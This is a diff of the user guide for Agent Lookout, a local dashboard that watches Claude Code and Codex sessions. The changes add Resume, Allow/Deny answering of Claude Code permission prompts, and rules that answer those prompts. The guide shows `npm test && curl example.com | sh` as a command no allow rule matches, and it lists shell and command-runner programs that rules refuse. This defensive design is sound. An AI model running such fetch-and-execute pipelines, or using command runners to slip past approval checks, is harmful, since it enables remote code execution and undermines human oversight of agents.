agent-lookout 0.2.4 → 0.2.6

package/docs/GUIDE.md

@@ -2,7 +2,7 @@
 
 ## Requirements
 
-- macOS or Linux. Agent Lookout is developed and tested on macOS. On Linux it has been checked in CI by starting it with `npm start`, and not yet by a person on a Linux desktop. [On Linux](#on-linux) says what differs there. Windows is untested.
+- macOS, Linux or Windows. Agent Lookout is developed and tested on macOS. On Linux and on Windows it has been checked in CI by starting it with `npm start`, and not yet by a person on a Linux or Windows desktop. [On Linux](#on-linux) and [On Windows](#on-windows) say what differs there.
 - Node.js 22.12 or newer. The [Mac app](#desktop-app) needs no Node.js.
 - Claude Code, Codex or both. Neither needs any setup. Any other agent can appear too, by writing a status file: see [Your own agents](#your-own-agents).
 - For Claude Code, a version that has the `claude agents` command. `claude agents --help` should print `Usage: claude agents`. Without that command Agent Lookout still reads the session files, but cannot list background jobs that have finished or failed.
@@ -26,6 +26,8 @@ The Overview has six parts. The Needs you panel and the Last hour chart share th
 
 The Needs you panel holds the sessions that are waiting for you. For each one it gives the session's name, the reason, and where it runs: the project folder, the [git branch](#branches) when the folder is in a repository, the app, and the agent once more than one is found, as in `storefront on checkout-flow in VS Code · Claude Code`. An app that is not known is left out. The reason is waiting for permission, asked you a question or, for anything else, waiting for you. Under it, a Claude Code session says what it is asking, read from the last message of its transcript: the command it wants to run, as in `Run: npm test`, the file it wants to edit, write or read, as in `Edit: src/app.ts`, the address or search it wants, "Approve the plan", the tool it wants to use, or the question it put to you. A line too long for two lines is cut, and hover over it or move to it with Tab to read all of it. When Claude Code's own words say more than the reason, hover over the reason or move to it with Tab to read them. The folder's full path is shown the same way. A timer says how long the session has waited, and a Claude Code session that runs in VS Code, inside tmux or in a tab of Terminal or iTerm2 has a Jump button. [Jump](#jump) says what it does for each. With more than one waiting, the longest wait comes first and the others are listed under it. Click a session's name, or move to it with Tab and press Enter, to open its [details](#a-sessions-details).
 
+With the Agent Lookout plugin installed in Claude Code, a Claude Code session waiting for permission shows the whole of what it asks in place of that line: every line of the command it wants to run, with its description, or the tool and each of its inputs. Deny and Allow sit under it. [Answer a permission prompt](#answer-a-permission-prompt) says what each does.
+
 Under the sessions, Waited on you has a bar for each session that waited, longest first. A wait that is still open is a filled amber bar that grows each second. A wait that was answered is an outlined bar. The bars reach back no further than the last hour, nor before Agent Lookout started, and the heading says from when. The line under them says how much of that time Agent Lookout did not measure. When no session waited in that time, the bars are left out.
 
 The panel ends with four counts.
@@ -37,7 +39,7 @@ The panel ends with four counts.
 | Stale    | Sessions idle for 24 hours or more without a break                      |
 | Sessions | Every session found, split into open, finished and failed               |
 
-Each session is counted once. A stale session is counted under Stale and not under Idle. A dash in place of a number means nothing could be counted, because no agent could be read yet. It does not mean zero.
+Each session is counted once. A stale session is counted under Stale and not under Idle, and a session whose permission prompt was just answered is counted under Working, not as needing you. A dash in place of a number means nothing could be counted, because no agent could be read yet. It does not mean zero.
 
 Click Working or Idle to open a chart of how many sessions had that status over the last 15 minutes, hour or 6 hours. Click the panel's heading for the same chart of the sessions that needed you.
 
@@ -51,7 +53,7 @@ The Last hour chart has a bar for each five minutes of the last hour, on the clo
 
 #### Sessions
 
-The Sessions list holds every session that is not waiting for you, grouped in this order: Working, Idle, then sessions that finished or failed, then any whose status is unknown. Stale sessions are listed under Idle and counted beside it. The number by the list's title counts every session, including those in the Needs you panel. Each row gives:
+The Sessions list holds every session that is not waiting for you, grouped in this order: Working, Idle, then sessions that finished or failed, then any whose status is unknown. Stale sessions are listed under Idle and counted beside it. A Claude Code session whose permission prompt you or a [permission rule](#permission-rules) just answered is listed first under Working, as Answered and with no time, for the second or two before Claude Code says what it does next. The number by the list's title counts every session, including those in the Needs you panel. Each row gives:
 
 - the session's name
 - the agent it belongs to, such as Claude Code, Codex or the name a [status file](#your-own-agents) gives, once there is more than one
@@ -62,9 +64,9 @@ The Sessions list holds every session that is not waiting for you, grouped in th
 
 When the list is too narrow for every column, the app is left out first and then the folder with its branch, so names keep their room. In a narrow window both are left out and the status moves under the name. The Needs you panel still gives the branch of each session that needs you.
 
-A Claude Code session in VS Code, inside tmux or in a tab of Terminal or iTerm2 has a Jump button here too.
+A Claude Code session in VS Code, inside tmux or in a tab of Terminal or iTerm2 has a Jump button here too. A Claude Code background job that has finished, failed or been stopped has a [Resume](#resume-a-session) button in the same place.
 
-Claude Code sessions idle for a day or more whose process still runs are also listed over the list, under Left running, where they can be hidden or ended: see [Sessions left running](#sessions-left-running).
+Claude Code sessions idle for a day or more, or as long as the [idle rule](#time-rules) says, whose process still runs are also listed over the list, under Left running, where they can be hidden or ended: see [Sessions left running](#sessions-left-running).
 
 Click a row, or move to its name with Tab and press Enter, to open the session's [details](#a-sessions-details).
 
@@ -81,7 +83,7 @@ Board shows the same sessions in a column for each status, so you can see at a g
 | Idle               | Sessions ready for a new prompt, then stale ones with their own mark. The heading counts them apart: `Idle 1 Stale 1` |
 | Finished or failed | Sessions that finished or failed, failures first                                                                      |
 
-Each card gives what a row of the list does: the session's name, its folder and [branch](#branches), as in `storefront on checkout-flow`, the app it runs in when it is known, the agent once there is more than one, its status and how long it has had it, and [Quiet for](#quiet-for) when that applies. A session that has a Jump button in the list has one on its card, and it works the same way. A long name is cut, and the whole name shows when you hover over it or move to it with Tab. Click a card, or move to its name and press Enter, to open the session's [details](#a-sessions-details).
+Each card gives what a row of the list does: the session's name, its folder and [branch](#branches), as in `storefront on checkout-flow`, the app it runs in when it is known, the agent once there is more than one, its status and how long it has had it, and [Quiet for](#quiet-for) when that applies. A session that has a Jump or a Resume button in the list has one on its card, and it works the same way. A long name is cut, and the whole name shows when you hover over it or move to it with Tab. Click a card, or move to its name and press Enter, to open the session's [details](#a-sessions-details).
 
 When a card's folder is named other than its repository, as a worktree's usually is, the card names the repository first: `storefront · storefront-checkout on checkout-flow`. The repository's name, the folder and the branch then take a line each when the column is too narrow for them side by side.
 
@@ -109,7 +111,7 @@ The details show everything Agent Lookout knows about the session:
 - its own events, newest first, as the Events log shows them
 - its row of the Timeline over the last hour
 
-A session with a Jump button has it at the top of its details, and it works as it does in the list. It is the amber one while the session needs you. A session Agent Lookout can stop has a [Stop](#stop-a-session) button beside it.
+A session with a Jump button has it at the top of its details, and it works as it does in the list. It is the amber one while the session needs you. A session Agent Lookout can stop has a [Stop](#stop-a-session) button beside it. A session that can be [resumed](#resume-a-session) has Resume there instead, with the command it copies at the top of the details. A session with a permission prompt Agent Lookout holds shows it at the top of its details, with [Allow and Deny](#answer-a-permission-prompt).
 
 Each session's details have an address of their own, such as `#overview/session/claude-code:` followed by the session's ID, so a bookmark or a reload opens them again, and the browser's Back button closes them. `Esc` or the close button closes them too, and puts focus back on the session's name. If the session leaves the list while its details are open, they say so and keep what was last known of it. An address for a session Agent Lookout is not watching says so, with a button back to the Overview.
 
@@ -214,15 +216,17 @@ The card for status files gives the folder it reads, normally `~/.agent-lookout/
 
 When an agent is not on this computer, its card says Not found, and after the first few seconds the Overview does not mention it, unless neither is found.
 
+Each [other machine](#another-machine-over-ssh) named in `AGENT_LOOKOUT_REMOTES` has a card too, titled with its name. It says Connected, Connecting or Not connected, and why when it is not, and its rows give the ssh target, the command Agent Lookout runs, the two routes it asks for, how often, the version of Agent Lookout there and what each source there is doing.
+
 #### What each agent can report
 
-Under the cards, What each agent can report has a row for each agent and a column for each thing Agent Lookout can show of its sessions, and for [Stop](#stop-a-session), what it can do to one, with Yes, No or Partly in each. Point at No or Partly, or move to it with Tab, to read why. In a narrow window each agent has a block of its own, with the reason under each No and Partly. A No means Agent Lookout cannot show it for that agent's sessions, so not seeing it is not good news. The [branch](#branches) is not in the table, because it is read the same way for every agent.
+Under the cards, What each agent can report has a row for each agent and a column for each thing Agent Lookout can show of its sessions, and for [Stop](#stop-a-session) and [Answer](#answer-a-permission-prompt), what it can do to one, with Yes, No or Partly in each. Point at No or Partly, or move to it with Tab, to read why. In a narrow window each agent has a block of its own, with the reason under each No and Partly. A No means Agent Lookout cannot show it for that agent's sessions, so not seeing it is not good news. The [branch](#branches) is not in the table, because it is read the same way for every agent.
 
-| Agent        | Working and idle | Needs you | Finished | Failed | Names  | Jump   | Quiet for | Stop   |
-| ------------ | ---------------- | --------- | -------- | ------ | ------ | ------ | --------- | ------ |
-| Claude Code  | Yes              | Yes       | Partly   | Partly | Yes    | Partly | No        | Partly |
-| Codex        | Yes              | No        | Partly   | No     | Partly | No     | Yes       | No     |
-| Status files | Partly           | Partly    | Partly   | Partly | Partly | No     | Partly    | No     |
+| Agent        | Working and idle | Needs you | Finished | Failed | Names  | Jump   | Quiet for | Stop   | Answer |
+| ------------ | ---------------- | --------- | -------- | ------ | ------ | ------ | --------- | ------ | ------ |
+| Claude Code  | Yes              | Yes       | Partly   | Partly | Yes    | Partly | No        | Partly | Partly |
+| Codex        | Yes              | No        | Partly   | No     | Partly | No     | Yes       | No     | No     |
+| Status files | Partly           | Partly    | Partly   | Partly | Partly | No     | Partly    | No     | No     |
 
 Why, for each No and Partly:
 
@@ -231,12 +235,14 @@ Why, for each No and Partly:
 - Claude Code, Jump: In VS Code, in tmux, and in a tab of Terminal or iTerm2 on a Mac. Not in the desktop app or another terminal.
 - Claude Code, Quiet for: The file Agent Lookout reads is not rewritten as a session works.
 - Claude Code, Stop: In a terminal, in VS Code and for background jobs. Not in the desktop app.
+- Claude Code, Answer: With the Agent Lookout plugin, by Allow, Deny or a permission rule. Allow only if all is shown: never edits, plans or questions.
 - Codex, Needs you: Codex does not record approval waits, so a session waiting for you shows as working.
 - Codex, Finished: From Codex 0.155 on, once no Codex program has the session open.
 - Codex, Failed: Codex does not record errors in its files.
 - Codex, Names: The desktop app does not keep its titles in the names file Agent Lookout reads, so its sessions take their folder's name.
 - Codex, Jump: Codex's files name no process to find, and Codex documents no link to a session.
 - Codex, Stop: Codex's files name no process that Agent Lookout could confirm and stop.
+- Codex, Answer: Codex records no approval waits, so there is nothing to answer from here, by hand or by a permission rule.
 - Status files, Working and idle: If the agent writes working and idle.
 - Status files, Needs you: If the agent writes waiting.
 - Status files, Finished: If the agent writes finished.
@@ -245,10 +251,13 @@ Why, for each No and Partly:
 - Status files, Jump: Nothing in a status file is used to reach a session.
 - Status files, Quiet for: If the agent writes its file again as it works.
 - Status files, Stop: Any program can write a status file, so nothing in one is used to stop a session.
+- Status files, Answer: A status file only says a session waits, and holds nothing to answer it through, by hand or by a permission rule.
+
+Each [other machine](#another-machine-over-ssh) adds a row for each agent found there, such as Claude Code on devbox, with what that machine's Agent Lookout says its agent can report, and No for Jump, Stop and Answer, which act on this computer only.
 
 ### Settings
 
-Settings has seven cards, and in the Mac app two more, [Menu bar](#menu-bar) and [Updates](#updates). Theme chooses Night, which is the default, Day, or System, which follows your computer's setting. Notifications turns notifications on and off, for the dashboard page and for Agent Lookout itself, and chooses what sends one. History says where the Events log and the charts are kept, how much they hold and since when, and clears them. Email says whether Agent Lookout emails you, and for what, and Webhook whether it posts to a webhook, such as a Slack channel's, and for what. Pull requests says whether each session's [pull request](#pull-requests) is shown, and whether `gh` can be asked for them. All three are set up when you start it, not here. This copy shows the version you are running and where Agent Lookout sends your data: nowhere, or only in the emails and webhook posts you set up, and with pull requests on, the names of repositories and branches to GitHub, through `gh`, unless `gh` was not found or is not signed in, when nothing goes to GitHub.
+Settings has ten cards, and in the Mac app two more, [Menu bar](#menu-bar) and [Updates](#updates). Theme chooses Night, which is the default, Day, or System, which follows your computer's setting. Notifications turns notifications on and off, for the dashboard page and for Agent Lookout itself, and chooses what sends one. [Time rules](#time-rules) reminds you of a long wait, sets how long a session is idle before it is stale, and holds everything back during quiet hours. History says where the Events log and the charts are kept, how much they hold and since when, and clears them. Email says whether Agent Lookout emails you, and for what, and Webhook whether it posts to a webhook, such as a Slack channel's, and for what. Pull requests says whether each session's [pull request](#pull-requests) is shown, and whether `gh` can be asked for them. All three are set up when you start it, not here. Permission prompts says whether Allow and Deny are offered, and whether the [plugin](#install-the-plugin)'s requests reach Agent Lookout, and [Permission rules](#permission-rules), under it, keeps the rules that answer a permission prompt for you, and lists what they answered. This copy shows the version you are running and where Agent Lookout sends your data: nowhere, or only in the emails and webhook posts you set up, and with pull requests on, the names of repositories and branches to GitHub, through `gh`, unless `gh` was not found or is not signed in, when nothing goes to GitHub.
 
 #### Notifications
 
@@ -307,6 +316,22 @@ A notification shows the session's name outside the dashboard: over other apps,
 
 The browser gives its permission to the address, not to Agent Lookout. Another program you later serve at the same address, such as another project's dev server on `localhost:5173`, can show notifications without asking. To take the permission back, remove it for that address in the browser's site settings. `npx agent-lookout` and `npm start` serve Agent Lookout at `127.0.0.1:4777`, an address other tools are less likely to use. [PRIVACY.md](../PRIVACY.md#notifications) says what a notification holds and where it is kept.
 
+#### Time rules
+
+The Time rules card has three rules, each with an Off and On switch, and all three are off until you turn them on. Agent Lookout keeps them in `~/.agent-lookout/settings.json`, so they hold with no dashboard tab open and after a restart. A change takes effect at once. The card shows what Agent Lookout saved: if a change could not be saved, a note says why and the switch stays as it was. A field is read when you leave it or press Enter, and Escape puts back what it held.
+
+Remind me of a long wait sends a reminder once a session has waited the minutes you set: 10 unless you change them, from 1 to 1,440. It goes once for each wait, the way the wait's first notice went: as a notification while Needs you is switched on, as an email or a webhook post while `needs-you` is among the events those send. It says how long the session has waited. The notification reads "Has waited 10 minutes for permission" under the session's name, takes the place of the wait's own, and is cleared when the session moves on. The email's subject and the post's line say "checkout-flow has waited 10 minutes for permission", and the post has `reminder: true`. A wait that had already gone on longer when the page opened, or when Agent Lookout started, is not reminded of, and nor is one whose first email or post went only once it had waited that long, since that one says how long already. Set more minutes while a session waits, and it is reminded of again once it has waited those.
+
+Mark idle sessions stale sets how long a session is idle before it is stale, in hours or days, from an hour to 30 days: 2 days unless you change them. A stale session is counted under Stale rather than Idle, its idle line in the Timeline turns to dots where it became stale, and a Claude Code session among them whose process still runs is listed under [Left running](#sessions-left-running), where it can be ended. With the rule off, a session is stale after a day.
+
+Quiet hours hold back every notification, email and post between two times on your computer's clock: 22:00 to 08:00 unless you change them. When the end comes before the start, they run past midnight, and the days you tick are the days they begin on: with Monday to Friday ticked, Friday night is quiet until Saturday morning, and Saturday night is not. With no day ticked they never begin. When they end, a session still waiting is notified as usual, and everything else held comes as one summary on each channel, such as "While quiet: checkout-flow waited 25 minutes, docs-site waited 1 hour 5 minutes over 2 waits and billing-webhooks finished": one notification headed While quiet, which stays until you clear it, one email and one webhook post. A session that waited and then finished, failed or ended is one item, as in "checkout-flow waited 25 minutes then ended". Each summary holds what its channel would have sent, so a wait answered before the email's delay was up is in no email. Turn on Leave answered waits out of the summary and it names only the sessions that finished, failed or ended. With nothing to say, there is no summary. Turning quiet hours off while they hold ends them at once. While they hold, a line under the times says so: "Quiet now, until 08:00. Notifications, emails and posts are held." In the Mac app, the notice of a new version waits for them to end too.
+
+The rules apply on top of the switches under Notifications, and of the settings for [email](#email) and the [webhook](#webhook), which still choose what goes where. Quiet hours go by the clock and time zone of the computer Agent Lookout runs on, and a dashboard tab follows what Agent Lookout says, so a tab in another time zone holds and sums up at the same moments. A dashboard tab opened during quiet hours sums up what happened after it opened. With no tab open, Agent Lookout shows its own summary on a Mac, and it covers all of the quiet hours. The rules set here cover the sessions of [another machine](#another-machine-over-ssh) too, as they cover this computer's.
+
+What quiet hours hold is kept in memory only. If Agent Lookout is stopped or restarted while they hold, what it held so far is forgotten: no summary comes of those hours, and a session that began waiting before the restart and still waits is not notified when they end. With the long wait reminder on, it is still reminded of, if it had not yet waited the reminder's minutes at the restart.
+
+`AGENT_LOOKOUT_SETTINGS_FILE` keeps the rules in another file. Agent Lookout reads the file as it starts, and again just before each change, which it makes to what the file holds then. It writes it whole when you change a rule, with mode 600, in a folder it makes with mode 700, and never through a link. If it cannot read the file, the rules it holds are off, the card says why in a note, and the terminal you started Agent Lookout in prints the same line. A file that is not JSON is written again by your first change. One it could not read at all, such as one larger than 64 KB, is never written over: a change is not saved until you mend or remove the file. Two copies running at once, such as the Mac app and `npx agent-lookout`, share the file. Each looks at it at every poll and reads it again when the other has saved a change, so a change made in one is in force in the other by its next poll, usually within 2 seconds. A change to the permission rules is made to the list the file holds just then, so it keeps the other copy's. The Time rules card saves all three rules at once, so a time rule changed in one copy before the other copy's change has reached it puts that change back. After changing the time rules in one copy, wait until the other copy's card shows the change before changing them there. [PRIVACY.md](../PRIVACY.md#the-settings-file) says what the file holds.
+
 #### History
 
 The Events log and the counts behind the charts are written to `~/.agent-lookout/history` every 5 seconds, and once more as Agent Lookout stops, so they are still there when it starts again. The time it was not running shows as time not measured, as the time the computer was asleep does: a Watching resumed row in the Events log, and hatching in the Timeline and the Last hour chart. Every restart gets that row, however short the stop and however long ago the history before it ends.
@@ -572,7 +597,7 @@ A Claude Code session that runs in a terminal or in VS Code, and a Claude Code b
 
 Stop asks first, at the top of the details: it names the session, says that its process ends now and how to open the conversation again, and, for a session that is working or waiting for you, that what it is doing stops part-way or that its question is left unanswered. Focus goes to Cancel, so pressing Enter does not stop it. Press Stop session to stop it.
 
-Agent Lookout then checks again that the process is that session: it reads the session's file in `~/.claude/sessions` again and asks `ps` when the process started, and does nothing unless both agree with what it found before. A session in a terminal or VS Code is sent SIGTERM, which ends Claude Code the way closing it does, and Agent Lookout waits up to 10 seconds for it to end. A background job is stopped with `claude stop` and its ID, since Claude Code would start its process again if it were ended another way. The session leaves the list within a second or two, a background job shows as finished, and the Events log says it was stopped from Agent Lookout.
+Agent Lookout then checks again that the process is that session: it reads the session's file in `~/.claude/sessions` again and asks `ps` when the process started, and does nothing unless both agree with what it found before. A session in a terminal or VS Code is sent SIGTERM, which ends Claude Code the way closing it does, and Agent Lookout waits up to 10 seconds for it to end. A background job is stopped with `claude stop` and its ID, since Claude Code would start its process again if it were ended another way. The session leaves the list within a second or two, a background job shows as finished, and the Events log says it was stopped from Agent Lookout. The details then offer [Resume](#resume-a-session), until you close them.
 
 | What the details say                                                              | Why                                                                                                                                    |
 | --------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
@@ -588,10 +613,11 @@ Agent Lookout then checks again that the process is that session: it reads the s
 - A Claude Code background job, while Agent Lookout runs the `claude` command: not with `AGENT_LOOKOUT_CLAUDE_FEED=off`, and not with `AGENT_LOOKOUT_CLAUDE_HOME` set and `AGENT_LOOKOUT_CLAUDE_BIN` not.
 - Not a session in Claude Code's desktop app, which looks after its own processes: its details say to stop it there. Not a session whose file does not say what kind it is, or which app it runs in.
 - Not a Codex session, and not a session from a status file.
+- No session on Windows: [On Windows](#on-windows) says why.
 
 ### Sessions left running
 
-Closing a Claude Code tab in VS Code can leave its process running, and the session then sits idle for days. Over the Sessions list, or the board, a band says how many Claude Code sessions have been idle for a day or more with their process still running: those Agent Lookout can stop, and those in the desktop app. Press Review… to list them, the longest idle first, each with its folder, its app and how long it has been idle, and Close to fold the list again. They stay in the list under Idle too.
+Closing a Claude Code tab in VS Code can leave its process running, and the session then sits idle for days. Over the Sessions list, or the board, a band says how many Claude Code sessions have been idle for a day or more with their process still running, or as long as the [idle rule](#time-rules) says while it is on: those Agent Lookout can stop, and those in the desktop app. Press Review… to list them, the longest idle first, each with its folder, its app and how long it has been idle, and Close to fold the list again. They stay in the list under Idle too.
 
 Hide until it changes takes one out of Left running, in this browser only, until its status next changes. It does nothing to the session.
 
@@ -599,6 +625,116 @@ End all… lists each one again with a tick, all ticked, up to 20, which is as m
 
 To take Stop and the ending of sessions left running away altogether, start Agent Lookout with `AGENT_LOOKOUT_STOP=off`. [PRIVACY.md](../PRIVACY.md#stopping-a-session) says what Agent Lookout checks and runs to stop a session.
 
+## Resume a session
+
+A Claude Code session that has ended can be continued with `claude --resume` and its session ID. Its Resume button copies the command that does it, such as:
+
+```sh
+cd '/Users/example/code/storefront' && claude --resume 6f1c2d3e-4a5b-4c6d-8e7f-0a1b2c3d4e5f
+```
+
+Paste it in a terminal and run it. It goes to the session's folder first, because Claude Code keeps a conversation under the folder it ran in, so it works from any folder. The folder is in single quotes, so one with spaces, quotes or `$` in its name works in sh, bash and zsh, and `&&` keeps `claude` from starting anywhere else when the folder has gone. Agent Lookout runs nothing: it puts the text on the clipboard. For two seconds the button says Copied. Hover over it, or move to it with Tab, to see the command. In a session's details the command is shown in full under the head, so you can read it, or select it, before you run it. If the browser or the Mac app does not let the page write to the clipboard, a line says Not copied, and the command is shown to select and copy by hand: under the session's name in the list and on the board, and in the details under the command.
+
+#### Which sessions have Resume
+
+- A Claude Code background job that Claude Code lists as finished, failed or stopped, with its process gone, for as long as its row stays: 24 hours. These come from the `claude` command, so they are not listed with `AGENT_LOOKOUT_CLAUDE_FEED=off`.
+- A Claude Code session you stopped with [Stop](#stop-a-session), in its details, once Stop has said it stopped, until you close them, or until the list shows it running again, as a background job does once `claude attach` opens it.
+- Only when Claude Code gave the session's ID, a UUID, and its folder is known as a whole path. A job listed without its session ID has no Resume, and nor does a folder holding a line break or another control character, or a backslash, which fish would read inside the quotes.
+- Not a session whose process still runs: resuming it would open a second copy of the same conversation. Not one that left the list on its own, since Agent Lookout cannot tell whether its process ended. Not a Codex session, and not a session from a status file. No session on Windows has Resume, as [On Windows](#on-windows) says.
+
+## Answer a permission prompt
+
+With the Agent Lookout plugin installed in Claude Code, a Claude Code session that waits for your permission shows Deny and Allow in the [Needs you](#needs-you) panel and at the top of its [details](#a-sessions-details). Above them is the whole of what it asks: for a shell command, every line of the command, in the mono, with any other input such as `run_in_background` and then the description Claude gave it, and for any other tool, its name and each of its inputs. While Allow is offered, all of it is drawn, however many lines it has. Press Allow to let that one request go ahead, or Deny to refuse it. Deny comes first, so it is in the same place whether Allow is offered or not. Neither button has focus until you move to it, and neither takes a press in the first second a request is shown, so a click meant for what was there before is not taken as an answer. A line then says what came of it, and the Events log says the session had a request allowed or denied from Agent Lookout. From that moment the wait is over: no reminder, email or webhook post follows for it. Claude Code can take a second or two to say the session is working again, but the session leaves Needs you at once, and until then is listed with the working sessions as Answered. If its file still says it waits 10 seconds after the answer, Agent Lookout takes it that the session needs you again, and tells you so. When the session asks again, its next request is shown under that line.
+
+The prompt in the session is still there, and still works: whichever you answer first wins. Answered in the session, the request leaves the dashboard within a few seconds. A Deny from the dashboard lets Claude carry on without the tool, and tells it that you denied it from Agent Lookout, while No in the terminal stops the turn.
+
+Allow is offered only when the whole of what it allows is shown. Deny alone is offered, with a line that says why, for an edit, a new file or a notebook edit, since the change itself is not shown, for a plan or a question, which take more than yes or no, for a request longer than 4,000 characters or 40 lines, for one that holds characters that cannot be shown as they are, which are written as their codes, for one with more than two blank lines in a row, which could push what follows out of sight, and for a command holding right-to-left letters, such as Hebrew or Arabic, which can draw it in another order than it runs. Agent Lookout allows or denies that one request and nothing more: it never changes the command and never saves a rule in Claude Code, so "Yes, and don't ask again" is answered in the session. Claude Code's own deny rules still apply after an Allow. To have Agent Lookout answer a kind of request for you every time, add a [permission rule](#permission-rules).
+
+A request waits for an answer for 5 minutes, or `AGENT_LOOKOUT_ANSWER_WAIT` seconds, and then leaves the dashboard, and the prompt in the session decides. It also leaves when the session stops waiting, or ends. With Agent Lookout not running, the plugin does nothing and Claude Code asks as usual.
+
+| What it says                                                                  | Why                                                                                          |
+| ----------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
+| Allowed from Agent Lookout.                                                   | Claude Code was told to allow it.                                                            |
+| Denied from Agent Lookout. Claude carries on without it.                      | Claude Code was told to deny it.                                                             |
+| It was answered in the session, or is no longer waiting, so nothing was sent. | You answered in the session first, or it stopped waiting before the answer reached it.       |
+| That request is no longer held, so nothing was sent.                          | It waited longer than Agent Lookout holds a request, or a newer one replaced it.             |
+| Agent Lookout did not answer in time. The session shows whether it went on.   | Agent Lookout gave no answer within 10 seconds. The answer may have reached it all the same. |
+| The answer could not be handed to the session.                                | Something went wrong in Agent Lookout. Nothing more is known of it.                          |
+
+### Install the plugin
+
+The plugin is one hook that Claude Code runs as it is about to ask you for permission. It hands the request to Agent Lookout on this computer, over a socket only you can open, and prints the answer when you press Allow or Deny. It is in this repository, in `plugins/agent-lookout/`. In Claude Code, run:
+
+```text
+/plugin marketplace add Olanetsoft/agent-lookout
+/plugin install agent-lookout@agent-lookout
+```
+
+From a shell, `claude plugin marketplace add Olanetsoft/agent-lookout` and `claude plugin install agent-lookout@agent-lookout` do the same. Claude Code records the plugin in its own settings, and runs its hook wherever Claude Code runs: in a terminal, in VS Code and in the desktop app. Agent Lookout itself writes nothing under `~/.claude`. To take it away, run `/plugin uninstall agent-lookout@agent-lookout`. The hook needs `curl`, which macOS has, and most Linux systems do. On Windows the plugin does nothing, and Claude Code asks as usual: [On Windows](#on-windows) says why.
+
+Settings, under Permission prompts, says whether the plugin's requests reach Agent Lookout. When a Claude Code session waits for permission and no request comes, it says the plugin may not be installed.
+
+To take Allow and Deny away altogether, start Agent Lookout with `AGENT_LOOKOUT_ANSWER=off`. [PRIVACY.md](../PRIVACY.md#the-claude-code-plugin-and-permission-prompts) says what the plugin sends, what Agent Lookout keeps and what it checks before it answers.
+
+## Permission rules
+
+Most permission prompts are routine. A permission rule answers one kind for you, every time: always allow, always ask or always deny. Rules answer Claude Code sessions with the [plugin](#install-the-plugin) installed, the one agent Agent Lookout can answer for. Codex records no approval waits, and a status file holds nothing to answer through, so neither has rules. There are none until you add one, and with none, nothing is answered on its own. No rule answers a prompt on Windows, as [On Windows](#on-windows) says.
+
+The Permission rules card in Settings, under Permission prompts, lists the rules in their order. To add one, choose Allow, Ask or Deny, name a tool and, for Bash, a command, then press Add rule. Each rule has Move up, Move down, Edit and Remove, each a button you can reach with Tab, and focus stays with the rule you moved. Every change goes to Agent Lookout, which checks the rule again, saves the list in `~/.agent-lookout/settings.json`, or the file `AGENT_LOOKOUT_SETTINGS_FILE` names, and puts it in force for the next request. The change is made to the list the file holds then, and a second copy running beside it, such as the Mac app beside `npx agent-lookout`, has it by its next poll, as [Time rules](#time-rules) says of the file. The card shows what was saved: a change that was not saved leaves the list as it was, and the line under Add rule, or for a rule's own buttons a note above the rules, says why. A list holds 100 rules at most.
+
+A rule names a tool as Claude Code names it, the whole name in the same capitals, such as `Bash`, `Read`, `WebFetch` or `mcp__docs__search`, or `*` for every tool. A deny or an ask rule can also name an MCP server alone, `mcp__docs`, for every tool of that server, as Claude Code's own rules do. A rule for Bash can also name a command: one command exactly, `npm test`, or a prefix written as Claude Code writes one, `npm test:*`, which matches every command whose first words are its words, each word whole. `npm test:*` matches `npm test` and `npm test --watch`, and not `npm testing` or `npm run test`. A command in a rule is plain ASCII, one space between words, with no `;`, `&`, `|`, `<`, `>`, parentheses, quotes, backslashes, `$`, braces, and no `*` but the `:*` that ends a prefix.
+
+| Decision | What happens to a request it matches                                                    |
+| -------- | --------------------------------------------------------------------------------------- |
+| Deny     | Agent Lookout denies it at once, as Deny does, and Claude carries on without it.        |
+| Ask      | The prompt waits for you, as with no rule, even when an allow rule matches it too.      |
+| Allow    | Agent Lookout allows it at once, as Allow does: Claude Code runs it without asking you. |
+
+Deny goes first, then ask, then allow, as in Claude Code's own rules. A deny rule that matches decides, whatever else matches, and an ask rule wins over an allow rule, however much narrower the allow rule is. Of the rules of one kind, the first in the list is the one that decides, and the one the log names. A request no rule matches waits for you, as before.
+
+An allow rule is narrower than it looks, on purpose:
+
+- It answers only what you could allow by hand on the dashboard at that moment, by the same check: never an edit, a new file, a plan or a question, and never a request too long to show whole, with characters that cannot be shown as they are, with more than two blank lines in a row, or a command with right-to-left letters.
+- For Bash, it answers one plain command only: words of ASCII letters, digits and `_ - . , / : = + @ %`, one space apart. A line with `;`, `&`, `|`, `&&`, `||` or a line break, a backtick, `$( )`, `$VAR` or `${ }`, a redirection such as `>`, `>>` or `<`, a here-document, parentheses or braces, a glob such as `*` or `?`, quotes, a backslash, a `~`, a `#`, a `!`, a tab, a space at either end or two in a row, a variable set before the command, or a letter outside plain ASCII is left to you. So `npm test:*` never answers `npm test && curl example.com | sh`.
+- For Bash, a request with any input but the command, its description, `timeout` and `run_in_background`, such as one asking to run outside Claude Code's sandbox, is left to you.
+- For any tool but Bash, it allows every request of that tool, whatever it asks: an allow rule for `Read` lets Claude read any file, one for `WebFetch` fetch any address, and one for an MCP tool use it with any input. The card says so as you write one.
+- It cannot name every tool, every Bash command, every tool of an MCP server, an edit, a plan or a question: the card refuses such a rule.
+- It cannot begin with a program whose work is to run another command, such as a shell, `sh`, `bash` or `zsh`, or `env`, `sudo`, `xargs`, `exec`, `eval`, `source`, `time`, `nice`, `nohup` or `timeout`, a program that fetches and runs another, `npx`, `pnpx`, `bunx` or `uvx`, `nix-shell`, PowerShell and `cmd`, and on a Mac `caffeinate` and `xcrun`. `sudo:*` or `bash -c:*` would let Claude Code run anything without asking you, so the card refuses it, whatever its capitals or folder, with `.exe` or `.com` after it, as a Windows program is run from WSL, and with a version or anything else after the name that does not begin with a letter, such as `bash5`, `ksh93` or `zsh-5.9`. `COMMAND_RUNNERS` in `src/core/permission-rules/commandWords.ts` is the whole list.
